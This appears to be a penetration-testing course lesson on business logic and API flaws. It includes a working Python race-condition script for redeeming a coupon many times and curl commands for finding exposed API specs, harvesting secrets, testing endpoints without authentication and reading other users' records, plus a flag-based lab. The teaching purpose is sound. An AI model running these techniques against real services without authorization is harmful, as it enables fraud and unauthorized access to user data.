Elective: Business Logic & API Vulnerabilities

Prerequisites

• PEN-K005 through PEN-K008

Why This Lesson Matters

Business logic flaws and API vulnerabilities are the findings that scanners miss entirely. They require a tester who understands how the application is supposed to work — and then tests what happens when those assumptions break. These are often the highest-impact findings in modern web application assessments.

1. Business Logic Flaws

1.1 What They Are

A business logic flaw is when an attacker manipulates the application's intended workflow to achieve an unintended outcome — without exploiting a technical vulnerability like SQLi or XSS.

1.2 Race Condition Testing

import concurrent.futures, requests

SESSION = "your_session_cookie"

def redeem_coupon():
    return requests.post(
        "https://app.corp.local/checkout/apply-coupon",
        data={"coupon": "SAVE50", "cart_id": "1234"},
        cookies={"session": SESSION}
    )

# Send 20 concurrent requests
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
    results = list(executor.map(lambda _: redeem_coupon(), range(20)))

# Check how many succeeded
successes = [r for r in results if "discount applied" in r.text.lower()]
print(f"{len(successes)}/20 requests succeeded")
# If > 1: race condition confirmed

Burp Suite approach: Turbo Intruder extension with the race.py template; sends simultaneous requests with microsecond precision.

2. API Security Testing

2.1 Exposed API Documentation

# Common API documentation paths
curl -s https://api.corp.local/swagger
curl -s https://api.corp.local/swagger-ui.html
curl -s https://api.corp.local/openapi.json
curl -s https://api.corp.local/v2/api-docs        # Spring Boot
curl -s https://api.corp.local/api-docs

# If found: extract all endpoints and look for:
# - Hardcoded API keys in examples
# - Hidden admin endpoints not linked from the UI
# - Sensitive parameters in example requests
curl -s https://api.corp.local/openapi.json | jq '.paths | keys[]'
curl -s https://api.corp.local/openapi.json | grep -i "api_key|secret|token|password"

2.2 Testing API Authentication

# Test each endpoint without authentication
for endpoint in $(cat api_endpoints.txt); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://api.corp.local$endpoint")
  echo "$CODE $endpoint"
done | grep "200|201"   # 200/201 without auth = missing authentication finding

2.3 Excessive Data Exposure

# GET /api/users/me → returns only your profile
# But what does GET /api/users/1 return?
curl -H "Authorization: Bearer YOUR_TOKEN" https://api.corp.local/api/users/1

# Some APIs return full internal objects including:
# - Other users' email addresses
# - Internal IDs
# - Hashed passwords
# - Admin flags (is_admin: false → change to true?)

# Check for verbose error messages
curl -s "https://api.corp.local/api/users/invalid" | jq .
# "error": "MongoError: Cast to ObjectId failed for value..."
# Reveals database type and internal field names

3. Common Mistakes

Mistake 1: Only testing endpoints listed in the UI. APIs often have undocumented endpoints (v1, v2, /internal, /debug) that are not linked from the frontend but are reachable. Use gobuster or the API spec if it is exposed.

Mistake 2: Reporting race conditions without demonstrated impact. "Two requests processed simultaneously" is the mechanism. Demonstrate the business impact: double discount applied, extra credit added, two accounts created from one invite link.

4. Practice Exercises

1. You find GET /api/admin/export-users returns a 200 with all user data when called with a regular user token. Score this finding and name the OWASP API Security Top 10 category it belongs to.

2. A loyalty programme allows redeeming points for a discount. You send 15 concurrent requests for 1000-point redemption. Eight succeed, giving you 8000 points' worth of discounts from a 1000-point balance. Write the finding title, CVSS score, and one-sentence fix.

5. Lab

Assessment mode: flag

challenge_spec_id: 186 — Swagger exposed secrets

Task: 1. Find the exposed Swagger/OpenAPI documentation 2. Inspect the spec for hardcoded credentials or API keys in example requests 3. Use the discovered key to call a privileged endpoint 4. Submit the flag returned by the privileged endpoint

6. Framework Alignment

7. Further Reading

• OWASP API Security Top 10 — https://owasp.org/API-Security/
• PortSwigger Business Logic Labs — 11 labs covering price manipulation, workflow bypass, race conditions
• Turbo Intruder — https://github.com/PortSwigger/turbo-intruder — Race condition testing with microsecond precision

["Detect and exploit a race condition on a coupon redemption endpoint using concurrent.futures and demonstrate that the discount was applied more than once", "Find an exposed Swagger/OpenAPI specification, extract all API endpoints, and identify a hardcoded credential in the example requests", "Test five API endpoints without authentication and identify at least one that returns a 200 response, constituting a broken access control finding"]

Prerequisites → Why this matters → Business logic flaws (table, race condition with concurrent.futures and Burp Turbo Intruder) → API security (exposed docs, auth testing, excessive data exposure, verbose errors) → Common mistakes → Practice exercises → Lab (flag, spec 186) → Framework alignment → Further reading